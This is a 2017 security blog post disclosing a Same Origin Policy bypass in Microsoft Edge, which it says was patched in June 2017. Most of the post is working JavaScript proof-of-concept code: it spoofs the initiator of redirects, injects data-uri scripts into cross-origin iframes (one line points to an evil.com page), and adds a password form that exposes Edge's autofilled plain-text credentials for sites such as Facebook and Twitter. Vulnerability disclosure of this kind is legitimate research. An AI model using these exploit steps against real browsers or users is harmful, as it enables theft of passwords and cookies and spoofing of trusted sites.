SOP BYPASS / UXSS – STEALING CREDENTIALS PRETTY FAST (EDGE)

May 10, 2017

Today we are going to steal Twitter and Facebook credentials from the user. The previous two SOP bypasses [1] [2] that allowed attackers to steal passwords and cookies were not patched in the latest update and this new one is more direct, easier and faster.

Charles -our fictional hacked user- has obediently updated Windows last Tuesday and even changed his password, but he is not aware that the update did not fix the previous two issues (so he is still unprotected) and that there's a **new way to steal his most precious information**. Unfortunately, he has no idea that his browser, Microsoft Edge, will continue sharing his passwords with the world for several weeks because its patching cycle is infrequent compared to other browsers.

In a hurry? Watch the 40 seconds video or go straight to the proof of concept.

The vulnerability that follows describes **how to steal the credentials and cookies from people using Microsoft Edge**, and, if they are using the default password manager we will be able to steal them in plain-text pretty fast.

[Update: this bug was patched on 2017-06-13]

Before starting, I would like to thank Catalin Cimpanu for his words about the previous blogpost.

> *This flaw, which Caballero disclosed today in a **headache-inducing** technical write-up [...]*

His phrase made me think I am not being clear enough, so I'll do my best to improve on every post. Thanks a lot for pointing that out, Catalin!

Remember: we are here to learn. I am presenting real evidence in the form of PoCs so everyone can judge better what to use. My personal wish is to have Microsoft patching faster and not as an afterthought. I believe Microsoft is a great company with amazing products, but their current policies are ridiculous. Change, Microsoft! Think and change.

Abstract

A server-redirect combined with a data-uri end up bypassing the Same Origin Policy, which leads to all kind of vulnerabilities like stealing user passwords in plain-text (thanks to the password manager), grabbing cookies, spoofing the content and referrer, etc.

The bug happens because we can force a window to change its location **as if the initiator were the window itself**. For example, a tab hosting evil.com can change the location of a Paypal tab to bankofamerica.com, then BankofAmerica will receive Paypal as its referrer instead of evil, **because Edge confused the real initiator of the request**. If we apply the same idea to iframes in the target page plus a data-uri with code, we can achieve a full SOP bypass.

Also, using a very simple injection we will get user passwords immediately. In our previous SOP bypass we were stealing passwords by logging out the user expecting Edge to autocomplete, but after applying an Occam's razor to the code I found that we don't even need to change the location.

Server Redirect Blocked Thread

Both Edge and IE confuse the initiator of a request when we change the location of a tab in the middle of a server-redirect. We used this technique to inject iframes everywhere, but let's recap and use it here to spoof the referrer. We'll make whatsmyreferrer think we are coming from microsoft.com.

Recipe to forge the initiator of a request:

1. Open a new window with a server-redirect to microsoft.com.
2. Block the thread until microsoft starts loading (we will use a bold alert here).
3. Once the redirection happens, set the location to whatsmyreferrer.com.
4. Bing! Sorry, Bang! That's it.

There's an important detail to make this work: in step (3), when we set the final location, **we must do it from the target window itself** using a self reference. For example, this won't work:

```
w = window.open("redir.php?URL=https://www.microsoft.com", "WIN");
w.setTimeout('alert("Wait until the redirection starts")');
w.location.href = "https://www.whatismyreferer.com"; // Does not work
```

We need the target window to change its own URL. Let's move that to the setTimeout:

```
w = window.open("redir.php?URL=https://www.microsoft.com", "WIN");
w.myself = w; // Self reference saved in the new window
w.setTimeout('alert("Wait until the redirection starts")'+
             'myself.location.href = "https://www.whatismyreferer.com"');
```

The code above looks good, but Edge will destroy the self-reference variable **myself** when doing the redirect, but there's a trick to prevent that: place the reference inside any built-in JS object, like Math. Let's change that, watch how the variable "myself" is part of the Math object.

```
w = window.open("redir.php?URL=https://www.microsoft.com", "WIN");
w.Math.myself = w; // Now in the Math object!

// Crashes below
w.setTimeout('alert("Wait until the redirection starts")'+
```

```
            'Math.myself.location.href = "https://www.whatismyreferer.com"');
```

That's good, but Edge developers have been poking on that code lately, and now it crashes [Fail Fast Exception]. It is a non-exploitable crash that happens *apparently* when trying to execute code in the "not-so-ready" window. But we don't really care about that because there is a workaround to avoid the crash: window.open with javascript code. What a paradox! Instead of trying to exploit a crash we are trying to avoid it. Anyway, the following code will run our bits indirectly, making the new window happy:

```
// Not crashing anymore!
w = window.open("redir.php?URL=https://www.microsoft.com", "WIN");
w.Math.myself = w;
window.open("javascript:" +
              "alert('Wait until the redirection starts');" +
              "Math.myself.location = 'https://www.whatismyreferer.com'",
            "WIN");
```

[Test Live PoC #4]

Great. We have another referrer spoof. If we want this to work on IE, we just need to add an **execScript("Math")** forcing the browser to instantiate the Math object before using it.

```
w = window.open("redir.php?URL=https://www.microsoft.com", "WIN");
w.execScript("Math"); // Forces IE to instantiate the Math object
w.Math.myself = w;
window.open("javascript:" +
               "alert('Wait until the redirection starts');" +
               "Math.myself.location = 'https://www.whatismyreferer.com'",
            "WIN");
```

Setting the location of an iframe

Let's try the same thing, but setting the location of an iframe instead of the top window. This is a bypass of the SuperNavigate, something that we've seen in the recently patched Fake Ticket to the Intranet Zone post. The name **SuperNavigate** comes from the binary functions in EdgeHtml.dll and essentially, it is just the power to change the location of an iframe from a window on a different domain. For example, opening a new window on bankofamerica.com and changing the location of any of its iframes.

This is super-easy, just add the window/iframe index to the code above and we are done. For example, if we want to change the location of the first iframe in the target page we would do:

```
// Load badbits.html in the first iframe of the target window
Math.myself[0].location = 'https://evil.com/badbits.html';
```

Remember that most sites use hidden iframes to do postbacks and visible ones for advertising. Bank of America uses iframes so let's use it as our target. I've created a simple html which prompts the user to enter the password, but it looks legit when rendered in bankofamerica.

```
w = window.open("redir.php?URL=https://www.bankofamerica.com", "WIN");
w.Math.myself = w;
window.open("javascript:" +
               "alert('Wait until the redirection happens');" +
               "Math.myself[0].location = 'https://www.cracking.com.ar/demos/opendata/prompt.html'",
            "WIN");
```

The prompt above is coming from cracking.com.ar so it can’t access the top window. Anyway, let’s try to achieve a real SOP bypass!

Setting the location of an iframe to a data-uri

Now that we can change the location of iframes, the game is almost over. If we set a data-uri with javascript code instead of a real location, it will execute **almost** in the context of its parent/originator. To be clear and following the example of bankofamerica, if we change the URL to a data-uri, like this:

```
Math.myself[0].location = 'data:text/html,<script>alert("I am isolated from the top!")</script>';
```

On Microsoft Edge, the alert above will execute in its own isolated context, but a simple document.write after the document has been loaded will set its origin to match its parent/originator. Observe the code below where we show the document.domain: it now matches its parent, **SOP bypass**.

```
Math.myself[0].location = 'data:text/html,<script>' +
    'window.onload = function(){' +
    '    document.write("<script>alert(document.domain)<\\\/script>");' +
    '    document.close();' +
    '}</script>';
```

Excellent! We have a full SOP bypass again, but don't think that this last part has the culprit, bug hunter. The main problem happens because we are allowed to set locations on behalf of other origins. That's really bad.

Let's try that on Google, but but instead of showing the domain, just the cookies:

[Test Live PoC #3]

Grabbing passwords pretty fast

In our previous UXSS we logged out the user to force Edge auto-complete the password, but I realized later that Edge will autocomplete **any input-password box** as long as it is in the proper domain and has this format (newlines/spaces not needed).

```
<form>
  <input />
  <input type="password" />
</form>
```

That's it! If we inject that code in domains with saved passwords, Edge will immediately autocomplete them. This means that we don't even need to move the user to login-pages anymore. In fact, it does not matter if we add events, names, classes, or anything to those inputs, Edge will obediently fill them out. For example, if we take the user to facebook.com and inject this code, it will immediately alert the saved password in plain-text.

```
<form>
  <input />
  <input type="password" onchange="alert(this.value)" />
</form>
```

Check out the first two PoCs where we show the username and password of Facebook and Twitter!

[Test Live PoCs #1 and #2]

[Video PoC] [All PoCs in a zip]

Conclusion

We've seen how faking the originator leads to a referrer spoof, but thanks to the existence of data-uris and the fact that most sites render iframes, we can end up turning this vulnerability into a full SOP bypass. Then, because the password manager tries to be smart and complete everything without checking too much, we can simply render a universal snipped of code that will work everywhere.

In my opinion, Microsoft Edge is making huge progress in the memory corruption area and sandboxing, but basic design issues are still there. I hope this changes soon. Good luck to my friends at Microsoft and keep pushing until the people with bad ideas change their minds, or change their jobs.

Microsoft: please patch faster. Move Edge to the Windows Store and update **its security issues** as frequently as needed. Audit MSRC constantly and do not forget that they represent the company when talking to researchers. Not everyone is capable of doing that. I wholeheartedly wish you the best.

Special thanks to 1lastBr3ath for pointing me out a few typos on this post. Corrected!

Have a nice day!

Manuel.

« Previous
SOP bypass / UXSS – Tweeting like Charles Darwin (Edge)

Next
Revealing the content of the address bar (IE) »

CATEGORIES

- Thoughts
- Vulnerabilities

RECENT POSTS

Revealing the content of the address bar (IE)

SOP bypass / UXSS – Stealing Credentials Pretty Fast (Edge)

SOP bypass / UXSS – Tweeting like Charles Darwin (Edge)

SOP bypass courtesy of the reading mode (Edge)

Detecting Installed Extensions (Edge)